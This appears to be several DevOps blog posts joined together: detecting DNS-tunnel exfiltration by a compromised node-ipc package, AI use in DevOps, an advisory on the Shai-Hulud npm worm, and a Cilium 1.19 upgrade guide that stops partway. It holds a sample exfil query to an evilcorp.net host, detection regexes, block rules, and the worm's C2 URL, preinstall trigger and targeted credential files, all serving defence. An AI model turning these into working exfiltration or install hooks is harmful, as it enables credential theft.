Pretty much every "secure your CI" post you have read goes something like: lock down outbound HTTPS to a small allowlist of registries (registry.npmjs.org, your container registry, GitHub) and block everything else. That is a real control. Most network egress filtering at this layer is implemented via a HTTP CONNECT proxy, an AWS Network Firewall rule, or a Cilium L7 policy.

DNS sits underneath all of that. Before any HTTPS connection happens, the runner asks the OS resolver for an A or AAAA record. The OS resolver forwards to whatever was set in /etc/resolv.conf, usually a cloud-provided resolver (AWS at 169.254.169.253 from within a VPC, or Google at 169.254.169.254 for GCE). The resolver chases the query out to authoritative servers on the public internet. By the time the runner's HTTP-egress firewall sees the connection, the DNS query has already happened, and any TXT lookups the payload made along the way are already logged on the attacker's name server.

So:

• An L7 HTTPS allowlist does not block this. The exfil never makes an HTTPS connection.
• A blanket "block all outbound except 443 to allowlisted domains" rule does not block this. UDP/53 (or TCP/53) to the cloud-provided resolver is needed for any DNS to work, including the legitimate registry.npmjs.org resolution that your build needs.
• Even DoH or DoT to your own resolver does not block this if the resolver itself is happy to forward arbitrary public queries.

The control you actually need is at the resolver layer: an allowlist of domains the resolver is willing to answer for, with everything else returning NXDOMAIN. Or, less drastically, query logging plus an alert on patterns that look like exfil.

Detection: spotting exfil in your DNS logs

If you have DNS query logging enabled on your CI runners or developer laptops, this is what to look for.

Long, high-entropy labels. A legitimate query is registry.npmjs.org. An exfil query is mfqxezlj4qcaij2gmiyc4t3oojxw4y3vnu3wcljom5wsa2ltnbxxmzlroruxg4dpobxw4u3jonxw2zlu.c07.victim42.evilcorp.net. The first label is base32 binary, very long, and uniformly distributed across the alphabet. That is the signal.

A starter detection on AWS Route 53 Resolver query logs in Athena:

SELECT
  query_timestamp,
  srcaddr,
  query_name,
  query_type,
  length(query_name) AS qlen
FROM route53_resolver_query_logs
WHERE query_type = 'TXT'
  AND query_timestamp >= current_date - interval '1' day
  AND length(query_name) > 80
  AND regexp_like(split_part(query_name, '.', 1), '^[a-z2-7]{50,}$')
ORDER BY query_timestamp DESC;

That regex matches a 50-plus-character base32 label, which is the signature of chunked binary in the first label. A normal dig +short A ... query never produces a label that long.

On the runner itself, the same idea with tcpdump:

sudo tcpdump -i any -nn -s 0 -A 'udp port 53' 2>/dev/null \
  | grep -oE '[a-z2-7]{50,}\.[^ ]+' \
  | sort -u

Leave that running for a baseline build and see what shows up. If anything other than the occasional long ARN-like label appears, dig deeper.

Volume of TXT queries. Most builds make a handful of A/AAAA queries and effectively zero TXT queries. A build that produces hundreds of TXT queries to the same parent domain is the loud version of the same signal.

SELECT
  regexp_extract(query_name, '\.([^.]+\.[^.]+)$', 1) AS parent_domain,
  count(*) AS txt_queries
FROM route53_resolver_query_logs
WHERE query_type = 'TXT'
  AND query_timestamp >= current_timestamp - interval '1' hour
GROUP BY 1
HAVING count(*) > 50
ORDER BY 2 DESC;

50 TXT queries per hour to a single parent domain is well above baseline for normal traffic. Tune the threshold once you have a week of baseline data.

Prevention: a small DNS allowlist for CI

The strongest control is to give your CI runners a resolver that only answers for domains you want to resolve. Everything else gets NXDOMAIN, and the exfil dies at the resolver.

A minimal CoreDNS config that allowlists npm, GitHub, your container registry, and your cloud provider:

# /etc/coredns/Corefile
. {
    template ANY ANY . {
        rcode NXDOMAIN
    }
}

registry.npmjs.org github.com codeload.github.com objects.githubusercontent.com {
    forward . 1.1.1.1 8.8.8.8
    cache 30
    log
}

.ecr.us-east-1.amazonaws.com .s3.us-east-1.amazonaws.com .sts.amazonaws.com {
    forward . 169.254.169.253
    cache 30
    log
}

Point your CI runner's /etc/resolv.conf at this CoreDNS instance instead of the cloud-provided one. Now an npm install of a clean package works. An npm install that pulls a bad node-ipc still runs the install hook, but every TXT query the payload issues comes back NXDOMAIN, and your CoreDNS log has the full record of which domain the payload tried to reach.

Two caveats:

1. The allowlist is real work. You have to enumerate every domain your builds legitimately query. Expect surprises: the AWS SDK queries STS endpoints by region, GitHub Actions queries a different set of CDN domains depending on what's being downloaded, Docker queries authentication endpoints by image registry. Spend a day in audit-only mode (log everything, NXDOMAIN nothing) before you flip the switch.
2. DoH inside the runtime breaks this. If your application or a build tool resolves DNS through DoH directly to 1.1.1.1, your CoreDNS allowlist never sees the query. Block outbound TCP/443 to known public DoH endpoints (1.1.1.1, 8.8.8.8, 9.9.9.9, 1.0.0.1) from runners as a backstop.

For developer laptops the equivalent is your endpoint protection or DNS-filtering provider (Cloudflare Gateway, NextDNS, Pi-hole on your home network). The Cloudflare Gateway policy is one line:

Action: Block
DNS query type matches: TXT
DNS domain matches regex: ^[a-z2-7]{50,}\.

That blocks the exact label shape this payload generates without breaking any legitimate query.

If you ran a bad version

The rotation order matters because some tokens can sign other tokens. Do this top-to-bottom on the affected machine and on anything that machine logged into in the last week.

1. GitHub tokens. gh auth logout, then go to https://github.com/settings/tokens and revoke every PAT. Reissue with the minimum scope you actually need. Revoking GH tokens first prevents the attacker from pushing malicious commits to your repos using stolen credentials.
2. Cloud STS sessions. Force-expire all active sessions: AWS aws sts get-caller-identity to find the role, then revoke session via console or aws iam put-user-policy denying everything. GCP gcloud auth revoke --all. Azure az logout && az account clear.
3. Long-lived cloud keys. Rotate AWS access keys, GCP service-account JSON keys, Azure SP credentials. Yes, even if you "only had the keys for testing".
4. SSH keys. Reissue keypairs. Remove the public key of the compromised machine from every authorized_keys it landed on, including GitHub, GitLab, your jump host, and any cloud VM you SSH'd into.
5. Kubeconfig. Rotate the cluster CA-signed certs for the user. For EKS / GKE / AKS this is "remove the IAM principal from aws-auth and re-add", "remove the GCP IAM binding and re-add", "remove the Azure RBAC role assignment and re-add" respectively.
6. App secrets. Anything in .env that the payload read: API keys, database passwords, Stripe keys, Sentry DSNs, observability tokens. Rotate the lot.
7. AI tool keys. Anthropic, OpenAI, Mistral, Cursor, Continue.dev. These were explicit targets in this payload.

While you're rotating, also run a git log --since="2026-05-14" --author=<your-email> on every repo you have push access to. The attacker's first move with a stolen GH token is usually a commit to a repo you maintain, either as a worm-propagation step or as the next pivot. If anything in that log looks unfamiliar, force-push the previous good HEAD and rotate the token before the new one runs the worm again.

Why this matters beyond node-ipc

The node-ipc payload is the third major npm credential stealer this month. TanStack on May 11, AntV / echarts-for-react on May 19, node-ipc on May 14, plus the broader Shai-Hulud campaign behind a chunk of these. All three of those campaigns used HTTP POST to attacker domains for exfil. node-ipc is the first one I have seen in the wild use DNS at scale, and the technique works because the average DevOps egress story stops at HTTPS.

If you only take one thing from this post, it's that DNS is a control plane your firewall does not look at. Treat it like one. Log it, allowlist it on the high-value machines (CI runners, anything with cloud admin creds, build servers), and put the same kind of alert on weird DNS patterns that you already have on weird HTTPS patterns. Most teams have spent the last six months adding lockfile pinning and provenance verification. That's necessary. It is not sufficient. The attackers have already moved one layer down.

Summary

The May 14 node-ipc compromise is small in absolute numbers (three versions, 822K weekly downloads), but big in what it demonstrates. A credential stealer that exfils via DNS TXT queries bypasses the HTTPS egress controls almost every team relies on. The defense is a resolver-layer allowlist, query logging with alerting on high-entropy labels, and treating DNS as part of your egress posture instead of an invisible service that just works.

If you ran any of node-ipc@9.1.6, node-ipc@9.2.3, or node-ipc@12.0.1 between May 14 and now, treat the machine as compromised and walk the rotation list above. Then add a DNS allowlist to your CI runners before the next wave teaches everyone the same lesson the hard way.

This post is a working snapshot of where AI is actually changing DevOps in May 2026. What you can use today, what the incumbents are doing, what the engineers running real stacks are doing that the incumbents are not, and which corners are still pure hype.

TLDR

• Code authoring is the area where AI is most useful and least controversial. Pull-request review, test generation, and dependency upgrade chores are the next layer in.
• Observability and incident response are getting natural-language query interfaces faster than the vendors expected. Honeycomb's MCP server, Datadog's Bits AI, New Relic's Grok all work. The deeper bet (autonomous root-cause analysis) is still flaky.
• Infrastructure-as-code is the slowest moving area. Terraform's plan/apply loop punishes hallucinations harder than any other surface in the stack.
• Big incumbents move slowly because they own the workflow. A bad AI feature ships to thousands of paying teams and the support tickets compound. Individual engineers move fast because they only have to please themselves.
• The single highest-leverage thing for a DevOps engineer to try this week: an MCP server that exposes your own infrastructure (kubectl, terraform state, observability) to your AI assistant of choice. The local connection beats every SaaS AIOps tool we have tried.

What has actually changed for DevOps engineers

Five concrete shifts you can see in the work right now. None of them are speculative.

1. Code authoring is solved enough that nobody talks about it

Two years ago, GitHub Copilot was the headline. Today nobody at a DevOps conference mentions it because everyone has it. The question is no longer "will AI write code for me" but "which AI, in which IDE, with what context window." Claude Code, Cursor, Windsurf, Zed, JetBrains AI Assistant, Aider, Continue all do credible work on Terraform modules, Helm charts, GitHub Actions workflows, and Bash scripts. The differentiator is now the editor experience and the size of the context window, not whether the suggestions are good.

The interesting failure mode: AI is fine at writing the next function. It is bad at writing the next module if "next module" requires holding the system architecture in working memory. A senior engineer's job has not moved much; the boilerplate has moved a lot.

2. Pull-request review is the next surface, and it is messy

Three patterns are competing:

• Vendor agents. GitHub Copilot Code Review, GitLab Duo, CodeRabbit. These plug into the PR, leave comments, sometimes suggest patches. Quality varies. The honest take is that they catch a lot of style nits and miss most architectural issues, which is the inverse of what you want.
• Self-hosted agents. A 200-line script that calls Claude with the diff and a project-specific prompt, posted as a check via the GitHub API. Several engineers we know are running these against their own repos. Hit rate is higher than vendor tools because the prompt is tuned to the codebase. Maintenance overhead is real.
• PR-triggered agentic workflows. Devin, OpenHands, Claude Code in headless mode. Pick up a PR, run the tests, push a fix commit if a failure looks recoverable. Works for small classes of bug (linting, type errors). Falls over on anything that requires judgement.

Nobody has the answer yet. The space is moving fast enough that what we wrote three months ago is already stale. If you are picking one to evaluate this quarter, the self-hosted script gives you the cleanest mental model of what AI is actually doing on your codebase.

3. Observability is getting a natural-language interface, fast

Datadog Bits AI, New Relic Grok, Honeycomb's MCP server, Grafana's natural-language query feature in Loki, Splunk SPL2 with AI assists. The pattern is the same: type a question in English, get a query in the vendor's DSL plus the result. It works because the search surface is well-defined and bounded. A bad PromQL query returns no rows; a bad Terraform plan can destroy production.

The harder bet from the same vendors is "AI-driven root cause analysis." The marketing claims are aggressive. The reality, when we have run the products on real incidents, is that they are good at correlating signals and bad at picking the load-bearing one. Useful as a second opinion. Not yet a replacement for an experienced engineer reading the same dashboards.

4. Dependency management is being eaten by agents

Dependabot was the start. The current wave is more ambitious: an agent that runs the upgrade, reads the changelog, updates the calling code, runs the tests, and opens the PR with a summary of what changed. RenovateBot has supported this shape for a while; what is new is that the LLM step in the middle is now reliable enough to ship.

Individual engineers are running this on Tuesday afternoons against their own monorepos. The vendors are catching up. GitHub Copilot now has a "fix the failing PR" mode that does roughly this; Mend, Snyk, and JFrog have variants.

What still does not work well: major-version upgrades that change semantics. The LLM does not know whether removed deprecated foo() means "delete the call" or "migrate to bar()." Senior judgement still wins here.

5. Incident response is the loudest, but the slowest

The pitches: an AI agent that auto-pages, summarises the incident, drafts the postmortem, suggests the fix, runs the rollback. Several vendors sell this story. Cortex, PagerDuty, Rootly, FireHydrant, Incident.io all have an AI feature.

What actually ships well today is the boring part: the summary. Take 30 minutes of Slack messages and produce a five-bullet recap that the incident commander can paste into the postmortem template. Good models do this reliably. Vendors do it. Any engineer with a Claude API key does it for free.

What does not ship well is the action. An AI suggesting "roll back deployment X" is fine. An AI executing the rollback against production needs a level of confidence we do not have yet, and the engineering teams we trust are not letting AI write to prod systems without a human in the loop. That layer of the pitch is still aspirational.

What has not changed

Infrastructure-as-code is the surface where AI has had the least real impact. The reasons are honest:

• A Terraform plan is unforgiving. A hallucinated resource is a 500-line diff at apply time. Even if the engineer catches it, the trust cost is real.
• State is hard to read. The LLM does not know what is in your remote state file unless you give it. Many tools cannot give it because the state has secrets in it.
• Module conventions are project-specific. The "right" way to write a Terraform module varies by org, and the LLM cannot infer it from the public docs.

There are early attempts (Pulumi Copilot, HashiCorp's Terraform AI features, atmos with AI assists) but none of them have produced the "wow" moment that pair-programming with Claude Code has for application code. The terraform plan loop punishes mistakes harder than any other tool in the DevOps stack, which is exactly why the LLMs struggle there.

Secrets management, kernel-level tooling (eBPF, kprobes), and database schema migrations are in the same bucket. AI assists at the margins; the load-bearing decisions are still human.

Why the big vendors are moving slowly

This is the question the snippet that inspired this post got right. GitHub does not ship a half-broken AI feature because their userbase is too large to absorb the support burden of a regression. Datadog does not auto-route alerts via an LLM because a single false negative in a production incident becomes a customer-leaving event. HashiCorp does not auto-write Terraform plans because the plan is the last line of defense between an engineer and an outage.

The economics are asymmetric. A vendor that ships a great AI feature gets a press cycle. A vendor that ships a bad one loses three of its biggest customers. So they ship slowly, in betas, with opt-in flags, behind feature toggles.

This is rational for them. It also leaves a gap that the engineers running real stacks are filling.

What engineers are doing that vendors are not

The shape that matters: engineers build narrow, opinionated tools for their specific stack. A vendor ships something general for everyone. The narrow one is more useful to the team that built it. Examples we have seen in the last six months:

• A kubectl wrapper that pipes commands and output to Claude with a prompt about the cluster's deployment conventions. Replaces the "ask the senior engineer what to do" Slack message for routine debugging.
• A pre-commit hook that runs the diff through a local model and refuses to commit if it spots a likely secret leak. The local model is small; the false-positive rate is high but acceptable when the alternative is committing an AWS key.
• A Slack bot that watches incident channels, drafts a postmortem skeleton when the channel goes quiet for 30 minutes, and pings the IC to review. Saves two hours of writing per incident.
• A custom MCP server that exposes Prometheus, the cluster's events API, and the deployment history to Claude Code. The engineer asks "why is this pod restarting?" and the model runs the queries it needs. This is what Datadog and New Relic are trying to sell, but built on top of the open standards in 45 minutes.
• A nightly job that runs a model against the last day's CI failures and groups them by likely cause. Replaces the "is this a known flake?" triage question.

None of these are products. All of them are 200-line scripts an engineer wrote in an afternoon. Cumulatively, they are doing more for the day-to-day of a DevOps team than any vendor announcement we have seen this year.

Where to start this week

If you have not built anything AI-shaped into your workflow yet, pick one of these. They are ordered by impact-to-effort ratio.

1. Run Claude Code (or Cursor, or Aider) against your infrastructure repos. Not for new code; for reading. Ask it to summarise a Terraform module you did not write. Ask it to map the data flow through your Helm chart. The "explain this codebase to me" use case is the most underrated AI application in DevOps.
2. Wire one MCP server. The Anthropic Model Context Protocol now has servers for kubectl, GitHub, Prometheus, Loki, Postgres, and most of the tools you already use. Connecting Claude to your own infra (read-only) takes 20 minutes and immediately makes the rest of this list 10x more useful.
3. Pick one chore and write a script. Dependency triage, PR summarisation, incident notes, on-call schedule rotation explainers. Whatever takes 30 minutes of your week and is mostly the same each time. A 200-line wrapper around an LLM API will replace it for a one-time cost.
4. Set up a self-hosted PR review agent. Not a vendor product. A script. Tune the prompt to your codebase's conventions. Run it as a GitHub Actions check. Iterate weekly.

Where not to start this week

Equally important. These are the corners where the hype is well ahead of the substance, and you will burn time you do not get back.

• "AI ops platforms" that promise auto-remediation against production. The good ones do not actually do this; the marketing implies they do. Read the docs carefully.
• LLMs in the critical path of a deployment pipeline. A flaky model becomes a flaky deploy. Use AI to suggest, not to gate.
• Custom training on your incident data, hoping for "predictive AIOps." The dataset is too small. The signal is too noisy. Three years from now this might work; today it does not.
• Replacing a senior engineer with an agent. No vendor sells this in those words, but several pitches imply it. The senior engineer's judgement on what to do with the LLM's output is the load-bearing piece.

What the next year probably looks like

A short list of predictions, marked clearly as predictions:

• The PR review surface will get a clear winner. Either GitHub Copilot Code Review levels up enough to be the default, or one of the agent startups (Greptile, CodiumAI, Sweep, others) wins on quality.
• MCP becomes standard. The protocol is the right shape, the vendors are adopting it, and the network effect compounds with every new server.
• Terraform gets an "AI plan summary" feature from HashiCorp. It will explain what an apply will change in English. It will not write the apply for you. That is the right balance.
• One major outage will be partially-attributed-to-AI in its postmortem. It will become a case study. We will all learn from it.
• The vendors will catch up. By mid-2027, the gap between "what your custom 200-line script does" and "what your platform vendor ships" will be much smaller than it is today.

Summary

AI is reshaping DevOps. Not evenly. Code authoring and observability querying are the surfaces moving fastest. Infrastructure-as-code, secret management, and autonomous remediation are the surfaces moving slowest, for honest reasons. The big vendors are moving carefully because the downside of a wrong move is large; the individual engineers are moving fast because their downside is just an afternoon.

If you are in DevOps and you have not yet built an AI-shaped tool of your own into your workflow, this week is the right time. The bar to ship something useful has never been lower. The thing you build for yourself today is the thing your vendor will sell back to you in two years. Get ahead of it.

If your stack pulls any of these, even transitively, the payload runs at install time and exfiltrates whatever CI tokens, cloud credentials, and SSH keys the runner can see. This post is the short, practical version: what shipped, what it does, the one-liner grep that tells you if you are exposed, and the order to rotate secrets if you were.

TLDR

• New Shai-Hulud wave on May 19, 2026. Same worm family as the earlier TanStack and PyTorch Lightning incidents, different namespace and a fresh C2.
• Compromised maintainer: atool on npm. AntV namespace plus echarts-for-react, timeago.js, size-sensor, canvas-nest.js, packages under @lint-md/, @openclaw-cn/, and @starmind/.
• Trigger: "preinstall": "bun run index.js" in the package.json. Runs the moment your CI installs.
• Exfil destination: t.m-kosche.com:443/api/public/otel/v1/traces over HTTPS, AES-256-GCM payload with RSA-OAEP key wrapping. Looks like an OpenTelemetry traces submission.
• Targets GitHub tokens, npm tokens, AWS keys, Kubernetes service-account tokens, Vault tokens, SSH keys, Docker auth files, database connection strings.
• Creates a repository under the victim GitHub account named <dune-word>-<dune-word>-<digits> (e.g., sayyadina-stillsuit-852) and uploads stolen data as results/results-<timestamp>-<counter>.json. Marker string in commits: niagA oG eW ereH :duluH-iahS.
• If your lockfile mentions any of the named packages with a version published between 01:56 and 02:56 UTC on May 19, treat the host that installed it as compromised and rotate everything in scope.

Prerequisites

• A Node.js / npm / pnpm / Yarn / Bun project (or a CI pipeline that installs Node packages).
• 5 minutes to grep your lockfiles.
• Access to rotate the credentials in your CI environment (npm tokens, GitHub Actions secrets, cloud IAM keys).

What changed in this wave

The Shai-Hulud worm has been hitting npm in waves since the late-2025 TanStack incident. The core loop has not changed: compromise a maintainer, publish malicious patch versions with a preinstall script, harvest credentials, use the stolen npm tokens to spread to packages the victim maintains. What is new in the May 19 wave:

• Carrier: the atool account. This account has publish rights across the AntV ecosystem, which means a single account compromise unlocked 10+ heavily-used charting packages plus several React glue libraries. The TanStack wave moved through a single namespace; this one fans out wider.
• Transport: the worm now ships a bun run index.js preinstall script. Bun executes faster than Node and tolerates more permissive parsing, so the payload runs cleanly on Bun-installing runners (which is most modern Node CI). The earlier waves used node or npm run. If your CI has Bun preinstalled (the default on a lot of GitHub Actions images now), it executes without a separate runtime install step.
• Crypto: payload upgraded from raw HTTPS POSTs to AES-256-GCM body with RSA-OAEP wrapping. The traffic now blends into OpenTelemetry trace submissions to t.m-kosche.com, which dodges the simple egress to known-bad domain SOC rules unless you also fingerprint the request shape.
• Persistence: the worm creates a public repository under the victim's GitHub account, with a Dune-themed naming pattern, and stores exfiltrated data as a JSON file in results/. This is a backup channel in case the direct HTTPS exfil is blocked, and it is a public-internet-readable copy of your stolen secrets until you find and delete the repo.

The post-install behavior is otherwise the well-documented Shai-Hulud set: walk the file system for .env, .npmrc, ~/.aws/credentials, ~/.docker/config.json, ~/.kube/config, SSH private keys, then walk environment variables for the usual CI tokens, then attempt to publish modified versions of any packages the stolen npm token can publish.

The 60-second check: are you exposed

Run this in every repo. It grep across all the common lockfile formats:

grep -rE "(@antv/|echarts-for-react|\"timeago\.js\"|\"size-sensor\"|\"canvas-nest\.js\"|@lint-md/|@openclaw-cn/|@starmind/)" \
  --include="package.json" \
  --include="package-lock.json" \
  --include="pnpm-lock.yaml" \
  --include="bun.lock" \
  --include="yarn.lock" \
  -l

Zero matches: you are clear. Direct deps, transitive deps, and dev deps are all covered because they all end up resolved into the lockfile.

If you do hit a match, dig one level deeper to find the resolved version:

# For npm / pnpm / Bun lockfiles
grep -A2 -E "(@antv/|echarts-for-react)" package-lock.json pnpm-lock.yaml bun.lock 2>/dev/null

# For Yarn classic
grep -A2 -E "(@antv/|echarts-for-react)" yarn.lock

Any version published between 2026-05-19 01:56 UTC and 02:56 UTC is the malicious window. Older versions are clean. Versions published after Socket and npm pulled the malicious ones (early May 19) are also clean. If you installed during the window, assume compromise.

If you were exposed: rotation order

The worm runs as the CI user, so the credentials it reaches are everything the CI runner had access to. Rotate in this order. The order matters because some tokens can re-grant access to others.

1. npm publish tokens first. If any package you maintain was on the CI runner's auth, the worm has already tried to use it. Rotate via npm token revoke and re-issue, then audit npm token list for unknown tokens.
2. GitHub Actions GITHUB_TOKEN and personal access tokens. Revoke at github.com/settings/tokens. If the worker created a public repo under your account, find and delete it (search your repos for names matching <dune>-<dune>-<digits> or the marker string niagA oG eW ereH :duluH-iahS).
3. Cloud IAM keys: AWS, GCP, Azure. The worm reads ~/.aws/credentials, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY. Rotate via the cloud console; do not just edit the env var.
4. Kubernetes service-account tokens. If the runner had a KUBECONFIG, that token can pull secrets from the cluster. Rotate the service account.
5. Vault tokens. VAULT_TOKEN is in the targeted list. Revoke the token and audit the audit log for its recent use.
6. SSH keys. The worm copies ~/.ssh/id_* private keys. Rotate any key the CI runner had access to (deploy keys, signing keys).
7. Anything in .env files on disk. If they were on the runner, they are gone. Rotate every credential listed.

After rotation, audit GitHub for new repos under your org, npm for new versions on packages you own, and cloud logs for unusual API calls from unknown IPs in the past 24 hours.

Indicators of compromise to feed your SOC

Network egress to either of these is a red flag for the May 19 wave:

t.m-kosche.com                 (primary C2, HTTPS port 443)
fulcio.sigstore.dev            (secondary endpoint, abuses sigstore)
rekor.sigstore.dev             (secondary endpoint, abuses sigstore)

The sigstore endpoints are legitimate services, which makes pure-domain alerting noisy. Pair the egress alert with the source: if a CI runner that normally does not touch sigstore suddenly POSTs there during a Node install, that is the pattern.

File-system markers on a runner that ran the payload:

~/.cache/npm/_logs/                    (preinstall script left logs here)
/tmp/results-<timestamp>-<counter>.json  (staged exfil before HTTPS POST)

GitHub-side markers on the victim account:

A new public repo named <dune-word>-<dune-word>-<digits>
  e.g. sayyadina-stillsuit-852, paul-fremen-1213, gurney-crysknife-49
Commit body containing: niagA oG eW ereH :duluH-iahS
File path: results/results-<timestamp>-<counter>.json

The Dune reference is the worm author's signature across waves. The reversed string decodes to Shai-Hulud: Here We Go Again. It is consistent enough that you can search your org-wide GitHub event log for it.

Preventing the next wave

This is the third Shai-Hulud wave in roughly six months. There is going to be a fourth. Defenses that actually move the needle:

• Pin npm dependencies with --save-exact and resolve transitives through a single lockfile per repo. Caret-pinning (^1.2.3) is what gets you auto-installed into the malicious window. Exact pins force a human to bump.
• Disable preinstall and postinstall scripts in CI with npm config set ignore-scripts true (or --ignore-scripts on the install command, or enableScripts: false in .yarnrc.yml). This breaks some legitimate packages that need a native build step, but those are usually a known short list you can opt back in for. The default should be off.
• Run installs in an ephemeral runner with no production credentials in env. GitHub Actions composite jobs make this practical: one job does npm ci --ignore-scripts against a hermetic cache, the next stage does the build, only the deploy stage has the real secrets. If a malicious preinstall fires, it sees nothing worth exfiltrating.
• Egress allowlist on CI runners. The default GitHub Actions runner can talk to the entire internet. An egress allowlist of registry.npmjs.org, github.com, your registry, and your deploy targets kills almost every supply-chain payload. Tools like Sysdig's egress policies, Step Security's harden-runner action, or a simple iptables rule in your self-hosted runner image all do this.
• npm token scoping. Use --scope and granular permissions. A token that can only publish @your-org/foo cannot be used by a worm to publish @your-org/bar. Audit npm token list regularly and prune.
• Watch for new repos under your org and your maintainer accounts. A Shai-Hulud-style worm cannot hide the repo it creates. A simple cron that diffs gh repo list against a known list will catch it within an hour.

Summary

A new Shai-Hulud wave landed on npm at 01:56 UTC on May 19, 2026 through the compromised atool maintainer account. It published malicious patch versions of the entire AntV data-viz namespace plus echarts-for-react, timeago.js, size-sensor, canvas-nest.js, and a handful of @lint-md, @openclaw-cn, @starmind packages. The payload runs at install time via a bun run index.js preinstall hook, harvests cloud and CI credentials, exfiltrates them to t.m-kosche.com disguised as OpenTelemetry traces, and creates a public GitHub repo to stash a backup copy.

Run the grep above against every lockfile in your stack right now. If you have a match in the malicious window, rotate npm publish tokens first, then GitHub tokens, then cloud IAM, then service-account tokens, then SSH keys. After that, harden CI with --ignore-scripts, exact pins, and an egress allowlist so the next wave does not get the same easy ride.

Source

Socket's running disclosure: socket.dev/blog/antv-packages-compromised. The page is updated as the investigation continues.

This post is the pre-upgrade walkthrough. What changed, what concretely breaks, the cilium clustermesh inspect-policy-default-local-cluster command that lists every affected policy on your live 1.18 cluster, and the safe order to roll the upgrade. There is also a side-section on the new strict-encryption knobs in 1.19, since those are easy to misread as a default flip too.

TLDR

• The silent break: policy-default-local-cluster defaults to true in 1.19. CiliumNetworkPolicies without an explicit io.cilium.k8s.policy.cluster selector now match only local-cluster endpoints. Implicit cross-cluster matches stop working.
• The fix is a pre-upgrade audit, not a code change. Run cilium clustermesh inspect-policy-default-local-cluster --all-namespaces on the 1.18 cluster. Treat the output as your migration TODO.
• The escape hatch: set clustermesh.policyDefaultLocalCluster: false in Helm during the upgrade window to keep 1.18 semantics while you migrate.
• Encryption strict mode is opt-in, not flipped. 1.19 adds a new ingress strict mode and renames the old egress keys. If your values.yaml still uses encryption.strictMode.enabled, that is now encryption.strictMode.egress.enabled. The deprecation warning today becomes a removal in 1.20.

Prerequisites

• A Cilium ClusterMesh between two or more Kubernetes clusters, currently on 1.18.x.
• Cluster-admin RBAC on each cluster.
• cilium CLI v0.16+ installed locally (the inspect command landed alongside the 1.19 release).
• Hubble running. If you don't run Hubble in production, this upgrade is a good reason to start; the validation steps below depend on it.

What actually changed in 1.19

Two unrelated things people are conflating. Take them one at a time.

1. ClusterMesh policy default (the silent-break one)

From the 1.19 upgrade guide:

Cilium network policies used to implicitly select endpoints from all the clusters. Cilium 1.18 introduced a new option called policy-default-local-cluster which will be set by default in Cilium 1.19.

And from the 1.19.0 release notes:

When network policy selectors don't explicitly define a cluster for communication to be allowed, they will now default to only allowing the local cluster.

The mechanic: before 1.19, a fromEndpoints selector like

fromEndpoints:
  - matchLabels:
      app: web

matched every pod labelled app: web in every cluster in the mesh. After 1.19 (with the default), it matches only pods in the local cluster. To preserve the old semantics you have to be explicit:

fromEndpoints:
  - matchLabels:
      app: web
      io.cilium.k8s.policy.cluster: "*"     # all clusters in the mesh
# or
fromEndpoints:
  - matchLabels:
      app: web
      io.cilium.k8s.policy.cluster: cluster-east

This change is a security improvement. Implicit cross-cluster trust was a frequent source of "we didn't realize that policy reached the staging cluster." But for clusters that intentionally relied on it for legitimate East/West traffic, the upgrade silently severs the path. PR cilium/cilium#40609.

2. Encryption strict modes (new knobs, not a default flip)

The release-note line that has been getting misread:

Encryption Strict Modes: Both IPsec and WireGuard transparent encryption modes now support a "strict mode" to require traffic to be encrypted between nodes. Unencrypted traffic will be dropped in this mode.

Three actual changes here, none of which flip on by default:

1. A new ingress strict mode was added. Previous releases only had an egress strict mode. Flag: --enable-encryption-strict-mode-ingress. Helm: encryption.strictMode.ingress.enabled.
2. IPsec strict mode was generalized from WireGuard, so the same strict-mode semantics now exist for both transports. PR #42115.
3. The pre-existing egress strict-mode Helm keys were renamed. encryption.strictMode.enabled is deprecated in favor of encryption.strictMode.egress.enabled. The old keys still work in 1.19 with a warning. They are scheduled for removal in 1.20.

If you are not running strict mode today, this section does not change anything for you on upgrade. If you are, you have a values.yaml rename to do. Either way, do not enable strict ingress and the ClusterMesh policy migration in the same change window.

What concretely breaks on a naive helm upgrade

The only line in that table that silently breaks a naive upgrade is the first one. Everything else either preserves behavior (deprecation warnings), is opt-in (strict ingress), or is a known API removal (BGP v1) that surfaces loudly.

Pre-flight on the live 1.18 cluster

The command that matters:

cilium clustermesh inspect-policy-default-local-cluster --all-namespaces

This walks every CiliumNetworkPolicy in the cluster, identifies selectors that would implicitly match across clusters in 1.18, and lists them. The output is your migration TODO. You will not get a second chance to run it after upgrade, because once you are on 1.19 the implicit matches no longer exist to inspect.

For each policy in the output, decide:

• The cross-cluster match was intentional. Add io.cilium.k8s.policy.cluster: "*" to the selector, or list the specific cluster names. Keep behavior identical post-upgrade.
• The cross-cluster match was accidental. Do nothing. 1.19 will tighten the policy to local-only, which is what you wanted anyway.

If your audit produces a list you can't finish in a maintenance window, set the escape hatch:

# values.yaml on the upgrade
clustermesh:
  policyDefaultLocalCluster: false   # keep 1.18 semantics for one release

This is a one-release stay of execution. You upgrade to 1.19, run with 1.18 policy semantics, finish migrating the policies, then flip policyDefaultLocalCluster: true and validate. Don't let it sit there past one release.

Detecting drops with Hubble

You will need Hubble both for pre-flight validation and post-upgrade verification.

# Cross-cluster traffic that currently works, BEFORE upgrade.
# Capture a representative window — a full day if your workload is daily-batchy.
hubble observe \
  --cluster <remote-cluster-name> \
  --verdict FORWARDED \
  --since 24h \
  --output jsonpb > pre-upgrade-east-west.jsonl

Save that file. It is the ground truth of what worked. Post-upgrade, you re-run the equivalent query and diff. Any traffic that was FORWARDED before and is now DROPPED is a policy you missed.

After upgrade, watch for policy drops with the originating rule attribution (1.19 includes the rule name in drop events, which 1.18 did not):

# Policy drops with rule names
hubble observe --verdict DROPPED --type policy-verdict --since 10m -f

Strict-encryption-specific filters added in 1.19 (PR #43096):

hubble observe --unencrypted --since 5m   # cleartext flows
hubble observe --encrypted                # encrypted flows

Useful even if you are not flipping strict mode, because it confirms encryption is happening where you expect.

Prometheus metrics worth alerting on

# Sudden policy-drop spike after upgrade
rate(cilium_drop_count_total{reason="Policy denied"}[5m])

# Forward/drop ratio inversion is the clearest "something broke" signal
sum(rate(cilium_forward_count_total[5m]))
  /
sum(rate(cilium_drop_count_total[5m]))

# IPsec health (worth watching if you are running encryption at all,
# strict or not)
cilium_ipsec_xfrm_error
cilium_ipsec_xfrm_states{direction="in"}

# Confirm transparent encryption is on where you expect
cilium_feature_datapath_transparent_encryption{mode="wireguard"}

The metric names have shifted a bit across releases. The 1.19 metrics reference documents the current set. If you have alerts on cilium_policy_l7_denied_total from older docs, double-check the metric is still emitted under that exact name on 1.19 before relying on it.

The safe enable-order

Sequence the upgrade so each change is isolated. The whole sequence is one release cycle, not one maintenance window.

Day 0 (1.18, planning)
